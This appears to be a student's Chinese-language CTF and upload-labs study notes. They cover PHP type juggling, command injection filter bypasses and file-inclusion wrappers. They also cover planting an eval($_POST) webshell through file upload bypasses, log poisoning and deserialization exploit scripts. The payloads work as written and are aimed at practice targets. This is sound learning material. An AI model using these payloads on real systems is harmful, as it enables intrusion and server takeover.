0%

PHP特性+命令执行

PHP特性+命令执行

第一次解题

URL:http://114.116.119.253:8001/cg.php

屏幕截图_20230112_203805.png

[极客大挑战 2019]Havefun1

涉及知识

  • hackbar的相关使用知识
  • 简单的php代码理解

解题过程

1.配置好hackbar插件

我用的火狐直接插件下载好

2.进入靶场

image.png

看到一只猫猫,然后f12看到如下内容

image.png

需要用get的方式提交一个cat变量使得cat==’dog’

3.操作

1d58835bffb0a6e6.jpg

  1. 使用该功能将网页捕获

image.png

  1. get传参

-79374c0a7b1aef42.jpg

  1. 将结果返回得到flge

image.png

  1. 提交 flag{ee9a84c1-cdb2-43f9-aaf4-d4f7758459c3} 得分

[ACTF2020 新生赛]Exec1

涉及知识

  • 命令注入
  • ping命令
  • Linux基本操作指令
  • 命令联合执行

解题过程

进入题目

image.png

ping的相关知识点在总结​

尝试ping该网页的域名

image.png

获得该网站的IP地址(刚开始偷懒直接复制,没有意识那是网址而不是域名,所以卡得有点久)

image.png

使用了“;”符号,前面的执行完执行后面的

尝试常见的Linux指令,可以看到跟目录下有flag,尝试用cat指令让其输出

image.png

得到flag{c4fcd196-1913-409a-89ec-3edb847200aa}

知识点详解

ping命令

Ping是Windows、Unix和Linux系统下的一个命令。ping也属于一个通信协议,是TCP/IP协议的一部分。利用“ping”命令可以检查网络是否连通,可以很好地帮助我们分析和判定网络故障。

应用格式:ping空格IP地址

  1. 通常用来检测网络的连通情况和测试网络速度
  2. 根据域名得到相应主机的IP地址
  3. 根据ping返回的TTL值来判断对方所使用的操作系统及数据包经过路由器数量。
  4. 用来进行网络扫描和攻击

附:

bytes值:表示通信过程中发送的数据包大小,单位是字节。

time值:表示响应时间,这个时间越小,说明你与对方通信的速度越快,延时越短。

TTL值:Time To Live,表示数据包再经过多少个路由器如果还不能到达就将被丢弃,这里可以通过Ping返回的TTL值大小,粗略地判断目标系统类型是Windows系列还是UNIX/Linux系列。默认情况下,Linux系统的TTL最大值为64或255,WindowsNT/2000/XP系统的TTL最大值为128,UNIX主机的TTL最大值为255。

原文链接:https://blog.csdn.net/flyroc08/article/details/120103617

上课讲过,又去搜了一下细节

网址的组成

互联网类型(如最常见的www(万维网)等)+访问协议+域名的形式

[GXYCTF2019]Ping Ping Ping

涉及知识

ping

linux联合执行

1
2
3
4
5
6
7
;  前面执行完执行后面
| 通管符上一条命令的输出作为下一条命令的输入(显示后面的执行结果
|| 或,前面为假执行后面
& 将任务放在后台执行
&& 且,一假全假,前面出错后面不执行
%0a 换行
%0d 回车

空格绕过的一些小姿势

1
2
3
4
5
6
7
8
9
> < <> 重定向符
%09(需要php环境)
${IFS}
$IFS$9($IFS$1)
$IFS\
{cat,flag.php} //用逗号实现了空格功能
%20

注:在eval使用带有$的字符串时,需要进行用\转义,因为$在php中有特殊含义

敏感字符绕过

1
2
利用变量拼接

正则表达式匹配规则,贪婪匹配

[codeblock]

preg_match函数

是进行正则表达式的匹配,成功返回1,否则返回0

preg_match(正则表达式,需要匹配的对象,可选(即可以没有)匹配结果的数组)

解题过程

题目环境

image.png

根据题目尝试ping一下通过burpsuite得到的IP

image.png

image.png

发现flag用cat获取

image.png

绕过尝试

空格绕过

  1. 题目要求绕过空格键,绕过方法参考了唐师傅,在后面自己也根据网上查找的做了总结

使用%09绕过

image.png

fack your symbol!可能过滤了特殊字符‘%’

接下来尝试了分别尝试了

1
2
3
>< 重定向符
${IES}//失败,猜测可能过滤了{}
$IFS$9//成功进入下一步,'$'不会被过滤

image.png

  1. 通过绕过得到源码

image.png

这里使用excc让其输出ping -c 4文件,又因为php是后端语言,使用cat的话最后需要在源码里查看flag

敏感字符flag绕过

尝试了利用变量拼接进行绕过

?ip=1;a=ag;b=fl;tac$IFS$9$b$a.php可绕过

贪婪匹配:

1
2
3
if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}

这串代码是flag的贪婪匹配,匹配一个字符串中是否按顺序出现过flag四个字母

  1. 后又尝试利用base64编码进行绕过,及内敛绕过,然后查看源码得到flag
内敛绕过

image.png

base64编码绕过

image.png

1
2
3
4
5
6
/?ip=
<pre>PING 117.21.200.166 (117.21.200.166): 56 data bytes
<?php
$flag = "flag{e25f2e86-37c0-4078-b947-f613cad1891b}";
?>

知识汇总

贪婪匹配

在正则表达式匹配规则里

. :匹配除 “\n” 之外的任何单个字符。要匹配包括 ‘\n’ 在内的任何字符,请使用像 ‘[.\n]’ 的模式

*:匹配0个或多个

使用 .* 的话就可以匹配任意长度的任意字符

在贪婪匹配下,.* 会匹配尽可能多的字符

非贪婪匹配的写法是.*?

源代码中涉及bush和sh

sh: 遵循POSIX规范:“当某行代码出错时,不继续往下解释”。

bash: 就算出错,也会继续向下执行。

sh 跟bash的区别,实际上是bash有没开启POSIX模式的区别。

简单说,sh是bash的一种特殊的模式,sh就是开启了POSIX标准的bash, /bin/sh 相当于 /bin/bash –posix

在Linux系统上/bin/sh往往是指向/bin/bash的符号链接

cat与tac

重定向

顾名思义,就是重新定义输入输出方向,将原本应该从标准输入设备(键盘)输入的数据,改由其他文件或设备输入,或将原本应该输出到标准输出设备(显示器)的内容,改由输出到其他文件或设备上。

重定向符’|‘

重定向符’>‘,’<‘(临时)完了会自动恢复

手动恢复:

  1. exec >/dev/tty ( /dev/tty 文件代表的就是显示器 )
  2. 如果还有别的文件描述符指向了显示器,那么也可以别的文件描述符来恢复

exec

使用 exec 命令可以永久性地重定向,后续命令的输入输出方向也被确定了,直到再次遇到 exec 命令才会改变重定向的方向,如果没有使用,则之前的重定向都是临时的,只对当前命令有效

[极客大挑战 2019]BuyFlag

涉及知识

is_numeric()函数安全漏洞

用于检测变量是否为数字或者数字字符串。若是则为true,否则为false

一些绕过姿势

1
2
3
4
j[]=58B    利用数组+十六进制来进行绕过
%00 空字符,无论放在数据前后都可以判断为非数值
%02 空格字符,只能放在数据后
j=58a

若是在sql注入中碰到也可以用16进制来绕过,将sql语句转为16进制字符串即可

弱等于绕过

php中当一个其他数据类型和数值类型的数据比较大小时,会先将其他数据类型转换成数值类型

cookie伪造

cookie机制:

是在浏览网页的时候,服务器将你的登录信息,浏览信息等发送给客户端并保存一定的时间。当你下一次访问这个网站的时候,就能读取上一次你的记录

一般情况下,cookie是以键值对进行表示的(key-value),例name=jack,这个就表示cookie的名字是name,cookie携带的值是jack

漏洞

很多的网站都是由cookie来辨认登录者的信息。它可以起到登录验证的作用,从而存在了漏洞,可以绕过验证直接登录到后台

strmp()

从第一位开始,依次比较两个字符串的 ASCII码值,strmp(str1,str2),如果str1>str2返回值为1,反之则为-1,完全相等即为0

注:如果传入其他类型的变量会报错,但是此时返回值为0

解题过程

进入靶场,看到这样

image.png

如果你想买到flag,你必须是CUIT的学生(夹带私货),必须给出正确的pass world,还要一亿大洋

image.png

查看网页源代码,看到这样一串代码,用post传参,提交money和password,password不能为数字字符串且弱等于404

通过burp suite进行网页抓包

image.png

cookie伪造实操

首先需要是学生,cookie将用户数量作为登录信息,我们伪造了用户数量就可以绕过登录,成为将CUIT的学生,user改为1

burp suite的简单使用

再将get传参模式改为post

image.png

绕过is_numeric()函数,弱类型比较

password=404aa&money=100000000

post password和money(复习一下post接多个参数用&连接,第一节课有讲),

image.png

image.png

说数字过长,改变钱的数量的话又说钱不够

image.png

stremp()绕过

emmm,猜测可能不是比较数字大小而是通过别的函数进行匹配

涉及位数,大小,猜测使用了strmp()函数进行比较,要使得返回值为0,我们无法知晓另外一个字符串,因此使用一个数组绕过,money[]=1

5d127147226892a0.jpg

将其返回网页

image.png

得到flag

[BJDCTF2020]Easy MD5

涉及知识

请求头和响应头

md5函数

语法

MD5(string,raw)

string:必须,规定要计算的字符串

raw:可选,用于规定是十六进制输出格式还是二进制输出格式

  • TRUE-原始16字符二进制格式
  • FALSE-默认,32字符十六进制格式

返回值

成功则返回计算出来的MD5散列,失败则返回FALSE

ffifdyop绕过

绕过原理

ffifdyop 这个字符串被md5哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是’ or ‘6
而 Mysql 刚好又会把 hex 转成 ascii 解释,因此拼接之后的形式是1select * from ‘admin’ where password=’’ or ‘6xxxxx’,等价于 or 一个永真式,因此相当于万能密码,可以绕过md5()函数


摘自https://blog.csdn.net/qq_61778128/article/details/125817377

使用0e绕过

0e开头,PHP会认为是科学计数法,都是0

以下字符串MD5以0e开头

1
2
3
4
5
QNKCDZO
240610708
s878926199a
s155964671a
s21587387a

使用数组绕过

MD5不能处理数组,返回值为NULL(上课有讲过)

error_reporting()

error_reporting() 函数规定报告哪个错误,用于屏蔽报错

SQL注入

select语句

用于从数据库中选取数据

解题过程

image.png

看到页面,要求我们提交查询,使用F12查看

响应头有提示,但是我开始连响应头是什么都不知,这个是看了别人的

image.png

需要我们提交数据,需要MD5绕过,绕过原理在涉及知识里面

image.png

看到这个界面,查看网页源码发现

image.png

需要我们用GRT传参,使得ab不相等但MD5后可以弱等于,两种方法罗列在前面,这里我用了数组的方式

image.png

需要POST传参,注意这里使用了强等于’===‘,那么0e开头的方法就不可以使用了,可以继续用数组,用burp suite改成POST传参

image.png

得到flag

image.png

[SWPUCTF 2021 新生赛]easy_md5

image.png

md5数组绕过

[SWPUCTF 2021 新生赛]easyrce

eval

把里面的内容当作是一句php命令来执行

image.png

image.png

[LitCTF 2023]PHP是世界上最好的语言!!

image.png

[NSSCTF 2022 Spring Recruit]babyphp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
 <?php
highlight_file(__FILE__);
include_once('flag.php');
if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a'])){
if(isset($_POST['b1'])&&$_POST['b2']){
if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2'])){
if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2'])){
echo $flag;
}else{
echo "yee";
}
}else{
echo "nop";
}
}else{
echo "go on";
}
}else{
echo "let's get some php";
}
?>

涉及md5绕过

payload:a[]=2&b1[]=1&b2[]=2&c1=QNKCDZO&c2=s878926199a

前面是数组绕过后面是0e绕过

[SWPUCTF 2021 新生赛]include

打开靶机提示传一个file,用GET方式传入file=1,页面显示出源码,已知flag在flag.php文件里面那么我们就可以用php://filer伪协议

变量=php://filter/convert.base64-encode/resource=文件名

再base64解码即可得到flag

[极客大挑战 2019]Secret File

涉及知识

PHP伪协议

PHP支持的伪协议

1
2
3
4
5
6
7
8
9
10
11
12
13
1 file:// — 访问本地文件系统file://本地文件路径
2 http:// — 访问 HTTP(s) 网址
3 ftp:// — 访问 FTP(s) URLs
4 php:// — 访问各个输入/输出流(I/O streams)
5 zlib:// — 压缩流
6 data:// — 数据(RFC 2397)
7 glob:// — 查找匹配的文件路径模式
8 phar:// — PHP 归档
9 ssh2:// — Secure Shell 2
10 rar:// — RAR
11 ogg:// — 音频流
12 expect:// — 处理交互式的流用于读取php源码内容
13 php://filter ——

php://input 获取post的数据内容

data://text/plain;base(内容解码),内容

image.png

利用filter伪协议绕过死亡exit

死亡exit 通常存在于缓存、配置文件等等不允许用户直接访问的文件当中,避免数据被执行

语法:php://filter/过滤器|过滤器/resource=待过滤的数据流

还不理解的:有一些会在过滤器前面加read=,有一些又没有不知道是什么原因

read=<读链的过滤器>:可选项。可以设定一个或多个过滤器名称,以管道符(**)分隔。

resource=<要过滤的数据流>:必须项。它指定了你要筛选过滤的数据流。

例子

image.png

image.png

1
2
3
4
5
string.rot13  			一种字符处理方式,字符右移十三位
string.toupper 将所有字符转换为大写
string.tolower 将所有字符转换为小写
string.strip_tags 用来处理掉读入的所有标签,例如XML的等等
在绕过死亡exit大有用处

转换过滤器: 对数据流进行编码,通常用来读取文件源码

1
2
3
4
5
convert.base64-encode		用来base64加密
convert.base64-decode 解密

convert.quoted-printable-encode翻译为可打印字符引用编码,
convert.quoted-printable-decode使用可以打印的ASCII编码的字符表示各种编码形式下的字符

strstr函数

用于查找子字符串,返回字符串中首次出现子串的地址

语法

strstr(str1,str2), 若str2是str1的子串,则返回str2在str1的首次出现的地址;如果str2不是str1的子串,则返回NULL.

href:意思是指定超链接目标的URL,emmmm,后面可以是任何有效文档的相对或绝对URL

解题过程

进入后看到如下界面

image.png

查看网页源码

image.png

,you found me,发现Archive_room.php,点击进入

image.png

尝试直接点击SECRET键

image.png

提示回去仔细看,尝试查看achive的源码

image.png

发现action.php,还是没有

猜测在Archive_room.php和action.php网页交互时太快,burp抓包

image.png

发现隐藏,进入

image.png

尝试直接进入flag.php,发现不行,还不理解strstr在这的作用读代码有一个exit(),需要绕过

image.png

利用php伪协议filter的base64-encode过滤器绕过

image.png

解码,发现flag

image.png

[极客大挑战 2019]Http

当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的

X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。

image.png

image.png

image.png

image.png

image.png

image.png

boogipop文件包含

1

题目链接:http://114.116.119.253:8001/challenge1.php

image.png

使用伪协议

代码审计,伪协议尝试,类似题,为什么不可以呜呜呜

image.png

尝试另一种方法

image.png

为什么也不行![]X_2[KMEI)M7@FHD{31LH1.gif

好吧,我是傻子,flag在/flag里面,进行base64解码就可以得到flag了

image.png

使用一句话木马

**(注:看到另一种,去查了一下,@ 放在函数前有屏蔽出错信息的作用)**​

刚开始想用,但是不是很理解具体步骤,自己尝试卡了很久,最后参考了群里大佬的步骤才搞懂操作, X﹏X 我是菜狗,膜拜大佬,

URL:http://114.116.119.253:8001/challenge1.php?BoogipopIsHandsome=data://text/plain,<?php eval($_POST[1]);?>

使用data伪协议,将一句话木马植入,蚁剑上号

右键,点击添加数据

60f10f355ba14dc5.jpg

输入URL,密码,就是在一句话木马中设置好的,我的是1,点击测试链接

emmm我也不知道为什么截图这么糊,凑合看看吧

-6e880ab419a7d835.jpg

然后就可以根据提示在根目录下找到flag了

image.png

image.png

2

涉及知识

  • file_get_contents() 把整个文件读入一个字符串中。
  • php:/filter伪协议
  • data://伪协议

方法一

一开始用php://filter伪协议做出了第一题,然后还没有理解data://伪协议,所以嘎了

image.png

然后找到了绕过

Screenshot_20230110_210310.jpg

image.png

害,又不行,最后找了杨师傅帮忙,得出的结果是,这是火狐hackbar的小问题,解决后得到如下,解码即可

image.png

方法二

植入一句话木马

url:http://114.116.119.253:8001/challenge2.php?c=data://text/plain,I%20like%20Boogipop&file=data://text/plain,<?php%20eval($_POST[1]);>(%20空格绕过),后续操作与之前相同

3

涉及

进入题目,看到如下界面

image.png

代码审计,去搜索了preg_match函数:用于执行一个正则表达式匹配,前面有一个!,所以就是ban掉了data伪协议和filter,考虑使用php:/input,

str_replace:替换字符串中的一些字符(区分大小写),php被替换,需要绕过,文件名大小写或者双写绕过phphpp,pphphp都可以,然后post传入一句话木马这里被hackbar背刺了QAQ,

image.png

用burp了抓个包,没有响应,害

改用burp

2ea23878e3c80f3f.jpg

在post行写入一句话木马,再将抓的包返回,连蚁剑,前面的步骤一样,这里特别注意,找到HTTP BODY,将木马写入,点击测试连接,其余步骤相同即可找到flag

image.png

4

image.png

根据提示,百度了log file,是日志文件,而日志文件就是记录系统活动信息的几个文件,如:何时、何地(来源IP)、何人(什么服务名称)、做了什么操作(信息登录)换句话说就是记录系统在什么时候由哪个进程做了什么样的操作时,发生了何种的事件

按照提示,植入一句话木马,尽量使用burp suite来操作,使用hackbar会对<?和空格进行编码,导致木马写入失败(以身试险过),日志文件不会对url解码

先试过hackbar,抓包后是这样的

屏幕截图_20230111_110023.png

改好再返回

屏幕截图_20230111_110004.png

将抓到的包返回后

屏幕截图_20230111_110053.png

查找得知在不同的系统,存放日志文件地方和文件名不同
apache一般是/var/log/apache/access.log

nginx一般是在/var/log/nginx/access.log和/var/log/nginx/error.log

再根据返回包的信息可以知道,日志的路径是/var/log/apache2/access.log

使用文件包含漏洞包含日志文件

URL:http://114.116.119.253:8001/challenge4.php?file=/var/log/apache2/access.log

屏幕截图_20230111_110207.png

可以看到日志文件已经被污染,连接蚁剑就可以找到flag了

flag的位置:/secret/challenge4_flag

文件上传

根据网上的教程下好phpstudy配置好环境后,再下载upload-labs靶场源码,解压到phpstudy_pro/www目录下

image.png

点击创建网站

image.png

靶场搭建完成

pass-01

js过滤

方法一

前端js验证

image.png

自己编写了一个一句话木马php文件上传,弹出一个框,这是一个前端过滤,由网页前端控制,可以直接进行更改(朔峰师傅教的)

image.png

return chackfile():对文件名进行检查,可以直接删掉,上传成功

image.png

方法二

使用burp suite,将文件改为.jpg格式上传,进行抓包,修改文件后缀名再返回,即可上传

屏幕截图_20230111_163435.png

屏幕截图_20230111_163504.png

蚁剑连接

image.png

右键,选择新建标签页打开,将新建标签页的url复制

image.png

一句话木马那里我一开始自己写的,没有那个@,然后一直就被我的电脑把写好的木马嘎了QAQ,

pass-02

MIME绕过,contest-type伪造

Contest-Type

在 HTTP协议消息头中,它用来表示具体请求中的媒体类型信息。例:text/html 代表 HTML 格式,image/gif 代表 GIF 图片, application/json 代表JSON 类型,

burp抓包,传给render

image.png

找到contest-type,将text/plain改成image/gif,文件上传成功

image.png

蚁剑操作相同,之后不再提及

pass-03

文件后缀名黑名单绕过

尝试大小写绕过image.png

查看源码,发现有强制小写的代码

尝试后缀名绕过

将.php文件后缀名改成php1-9,phtml等后缀名都可以,但是尝试了一下发现不行,去网上查找了一下,发现涉及一些Apache的相关知识

  1. Apache解析顺序是从右到左开始解析文件后缀的,如果最右侧扩展名不能识别的话,就继续往左判断,直到遇到可以解析的文件后缀为止。
  2. Apache的httpd.conf中可以进行配置,规定哪些文件后缀是以php格式
  3. image.png

按照教程更改,详情参考大佬的文章https://www.likecs.com/show-965809.html

然后发现还是不行QAQ,搜索发现我的PHP study版本太新了,即使改了配置也无法实现.php5和.phtml的解析,我懒得下载别的版本了,凑活着我的理论讲解吧。

通过修改文件后缀名的方式绕过黑名单,成功上传文件后,用蚁剑连接即可

pass-04

黑名单绕过

原理:利用.htaccess文件特性, ‘.htaccess’文件相当于一种部分配置文件,好比局部变量一样,只在当前目录生效,将解析为.php。笼统说,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。

注:.htaccess文件就叫这个名,前面不要再加别的

image.png这串代码的意思是如果文件中有3.jpg文件,他就会被破解为.php文件

制作图片木马

win+r打开Windows的cdm

image.png

利用cd命令转到事先建好的存有一句话木马.php文件,和.jpg文件的文件夹中,利用copy命令,这样我们的图片木马就制作好了

然后首先在界面上传.htaccess文件,再上传图片木马,但是寄了,经过我的搜索,发现又是apache配置的问题,需要修改他的httpd.conf文件,代码如下

1
AllowOverride All

修改后就欧克了,上传完图片木马后如何知道他已经起作用了捏,这个时候需要请出我们的include.php文件(上传目录中的可执行文件),打开这个网页,利用文件上传漏洞测试

pass-05

知识点:限制了.hatccess文件,利用.user.ini文件绕过

php.ini 是 php的配置文件,.user.ini 中的字段也会被 php 视为配置文件来处理,从而导致 php 的文件解析漏洞。.user.ini实际上就是一个可以由用户“自定义”的php.ini, 是一个能被动态加载的ini文件 修改了.user.ini后,不需要重启中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。想要利用.user.ini这个漏洞的三个条件服务器脚本语言为PHP服务器使用CGI/FastCGI模式 * 使用CGI程序将浏览器,web服务器,php解释器连接起来进行数据交换的工具 上传目录下要有可执行的php文件

^_^百度教我的

首先我们编写一个.user.ini文件

**auto_prepend_file **在文顶部插入加载文件;

**auto_append_file **在文件最后插入加载文件(当文件调用的有exit()时该设置无效)

image.png

先上传写好的.user.ini文件,再上传3.jpg文件(之前写的图片木马),当前目录中存在index.php文件,访问他,怎会将3.jpg包含到index.php文件的文件尾中相当于再index.php中执行了require(3.jpg)

pass-06

原理: Windows 系统下,对于文件名中的大小写不敏感。例如:test.php 和 TeSt.PHP 是一样的。

这一关没有再设置强制大小写转换,文件后缀名改为大写即可绕过

image.png

pass-07 (空格)pass-08(点号)

原理:特殊文件名test.php.或test.php_(空格)在Windows系统中是不允许的,所以需要在burp上修改,绕过验证后,会被Windows系统自动变回.php,但在Linux上不行。

image.png

抓包后返回即可

pass-09

image.png

查看源码可以知道::$DATA没有被禁止,可以使用Windows文件流绕过

image.png

所以我们还是需要借助burp

image.png

image.png

image.png

打开图片会显示这样的界面,将url的::$DATA删掉即可

image.png

pass-10

image.png

双写绕过正则

image.png

emmm但是去upload文件里面看,我的电脑好像识别为.phphpp文件

经过搜索,看到了另外一种方法,拼接绕过。php. .(点空点),根据源代码去点去空,最终会呈现.php.格式

image.png

pass-11

原理:双写绕过

image.png

str_ireplace

使用一个字符串替换字符串中的另一些字符,

代码审计:利用这个函数将符合黑名单中的文件后缀名替换为空,但只配对一次,使用双写绕过,将文件后缀名改为.pphphp上传,即可

image.png

pass-12

查看提示,告诉我们本pass上传路径可控,尝试上传.php文件看看有什么提示image.png

所以这是一个白名单,又因为路径可控,查看源码image.png

所以使用白名单get型0x00(16进制0x)截断绕过

产生条件:

需要 php 的版本号低于 5.3.29,且 magic_quotes_gpc 为关闭状态

(打开php的配置文件php-ini,将magic_quotes_gpc设置为Off)

绕过方法:设置上传路径为 upload/phpinfo.php%00 ,添加 phpinfo.php%00 内容为了控制路径,上传文件后缀为白名单即可 例:test.jpg,保存后为/upload/phpinfo.php%00test.jpg,但服务端读取到%00 时会自动结束,将文件内容保存至 phpinfo.php 中(原理)

原文链接:https://blog.csdn.net/MCTSOG/article/details/123342344

image.png

我哭廖,就这个版本下不起。害,苦逼的去手动配置

image.png

-6d947708215e444b.jpg

上传成功后,另一个标签页面打开图片也是没有的,删掉后面的.jpg就可以了

image.png

pass-13

image.png

白名单 POST 型 0x00 截断

区别GET会自行解码,POST不会自行解码, 们需要修改HTTP包中上传路径对应的十六进制值(改为00)进行截断攻击

burp抓包,修改

image.png

点击Hex选项卡

image.png

找到该字段,修改为00,即截断

pass-14

图片木马,查看提示只检查开头两给字节

制作木马写入明文密码

注:PHP版本>5.3且必须在php.ini中开启allow_url_fopen选项。

访问include.php,将参数设置为图片木马的URL

1
2
3
D:\木马>copy 3.jpg/b+1.php/a 2.jpg		//制作图片木马

<?php eval(@$_POST[1]);?> //1.php

url:http://upload-labs/include.php?1=http://upload-labs/upload/7220230201001741.png

pass-15

image.png

getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组

过程与pass14相同,制作图片木马为图片即可

pass-16

注:必须开启php_exif模块

image.png

本pass使用exif_imagetype()检查是否为图片文件

过程同pass-14

不管用什么PHP函数检测图片,只要图片木马能在本地用照片浏览器正常地打开,就能用文件解析漏洞绕过

pass-17

本Pass对上传后的图片文件进行了二次渲染即根据原有的图片生成新的标准化的图片),感觉就是利用一些规则重新提取一遍图片,避开图片木马

image.png

利用 imagecreatefromgif 判断是否为 .jpg .gif .png 图片

imagecreatefromjpeg() : 返回一图像标识符,代表了从给定的文件名取得的图像 在失败时返回一个空字符串,并且输出一条错误信息

image.png

将上传上去的图片码与渲染后的图片进行比较,下载了一个二进制比较器 Fairdell HexCmp,找到不变的地方,就可以插入一句话木马了

pass-18

原理: 条件竞争方法(即在文件被删除之前访问该文件)绕过,需要不停且迅速的上传,访问文件

image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');//图片文件白名单
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];//提取文件后缀名
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;

if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}//判断是否合法,不合法删掉
}else{
$msg = '上传出错!';
}
}

image.png

burp在上传时抓个包后ctrl+i 发送至Intruder,

在下图再抓给包,用来知道上传文件存放路径image.png

image.png

image.png

修改为上图模样,将两个包同时开始

image.png

不断访问上传

找到第二个抓的包的页面,request,点击respose里的render即可查看这个服务器版本

pass-19

和18题的操作没有什么区别

pass-20

没有对上传的文件做判断,只对用户输入的文件名做判断
后缀名黑名单
上传的文件名用户可控
黑名单用于用户输入的文件后缀名进行判断
move_uploaded_file()还有这么一个特性,会忽略掉文件末尾的 /.

上传文件burp抓包

image.png

修改为上图的样子

image.png

成功

序列化和反序列化

1

逐行分析代码逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
/*
* find flag by yourself
*/
error_reporting(0);//
class dxg
{
function fmm()
{
return "nonono";
}
}

class lt
{
public $impo='hi';
public $md51='weclome';
public $md52='to HnuSec';
function __construct()//对象被创建时触发,dxg实例化
{
$this->impo = new dxg;
}
function __wakeup()//反序列化时触发,实例化dxg同时调用dxg的fmm方法并返回结果
{
$this->impo = new dxg;
return $this->impo->fmm();
}

function __toString()//对象被当作字符串调用的时候触发
{
if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)
return $this->impo->fmm();
}
function __destruct()//析构函数
{
echo $this;
}
}

class fin
{
public $a;
public $url = 'https://www.HnuSec.com';
public $title;
function fmm()
{
$b = $this->a;
$b($this->title);//突破口,从这植入一句话木马
}
}

if (isset($_GET['Hnu'])) {
$Data = unserialize($_GET['Hnu']);
} else {
highlight_file(__file__);
}
?>

理一下逻辑,这段代码中有两个fmm功能,很明显我们不需要dxg这个类里面的fmm功能,而是需要class fin里面的

首先实例化class 1t–>再调用里面的impo对象–>,让impo对象去调用fin类里面的fmm功能

然后还涉及两个绕过,CVE-2016-7124漏洞,也就是__wakeup的绕过(漏洞影响的版本 PHP5 < 5.6.25 PHP7 < 7.0.10 只要把对象成员改大,就可以绕过__wakeup )

另一个__ToString是MD5弱等于绕过,前面笔记有写.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
class lt
{
public $impo='hi';
public $md51='weclome';
public $md52='to HnuSec';
function __construct()
{
$this->impo = new fin;

}
function __destruct()
{
echo $this;
}
}

class fin
{
public $a;
public $url = 'https://www.HnuSec.com';
public $title;
function fmm()
{
$b = $this->a;
$b($this->title);
}
}
$a=new lt();//实例化lt(注意不是I,肯定有小可爱在这嘎,我没有^_^)
$a->md51="240610708";//写完了才意识到可以直接在上面篡改数据QAQ
$a->md52="QNKCDZO";
$a->impo->title="eval(\$_POST[1])";
//植入木马,在这嘎了,双引号里面变量会被识别,所以需要加转义字符(咨询了杨师傅)
$a->impo->a="assert";//这里涉及到一个知识点,php断言,也就是assert函数(网上搜题)
$add=serialize($a);
$add1 = preg_replace("/:3:{s:4:/",":4:{s:4:",$add);
//preg_replace:进行匹配,然后替换,(搜到的)
echo urlencode($add1);//使用url编码,防止有%00被漏掉
?>

php断言

  • 语法:assert ( mixed $assertion [, Throwable $exception ] ) : bool
  • 参数 assertion 既支持表达式,也支持表达式字符串(某些特定的场景会用到,比如判断某个字符串表达式是否合法)
  • 如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。assertion 是字符串的优势是当禁用断言时它的开销会更小,并且在断言失败时消息会包含 assertion 表达式

蚁剑上号,找到flag

image.png

flag{b0baee9d-279d-34fa-1dfd-71aadb908c3f}

2

URL:http://114.116.119.253:8002/index.php

image.png

根据给的提示,需要进行扫描,一开始以为是burp suite的scan(给定地址,爬取内容,检测漏洞)扫描,搜了一下,发现不是

然后,自己去下了御剑,貌似还是一个emo博主的珍藏0LVJ8SZ7HRG%Z6RRS7SOVRD.png

image.png

因为第一个刷出来的是www.zip文件,所以我就直接点进去下载,看到了题目

image.png

两个php源文件,

image.png

嗯,标准的反序列化,篡改数据的题需要我们在index.php的界面,也就是一开始的界面输入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
include 'flag.php';

error_reporting(0);

class Name{
private $username = 'nonono';
private $password = 'yesyes'; //私有化属性2个

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
//构造函数,要传2个参数,这里不会触发的
}

function __wakeup(){
$this->username = 'guest';
//反序列化时触发,让username=guest
}

function __destruct(){ //析构函数
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
//如果上面wakeup触发就不会满足
global $flag;//flag变成超全局变量
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();


}
}
}
?>

理一下逻辑

password=100,name=admin–>绕过__wakeup–>echo $flag

在class.php代码里添加如下代码(懒得再copy一大段了)

1
2
3
4
$a=new Name('admin','100');
$a1= serialize($a);
echo "$a1";
echo urlencode($a1);//防止%00被漏掉

然后在输出的url编码结果中将对象成员数改大,用get方法输入,得到flag.

HnuSec{3691308f-2a4c-2f69-83f2-880d32e29c84}

3pop链

首先去查了一下什么是pop

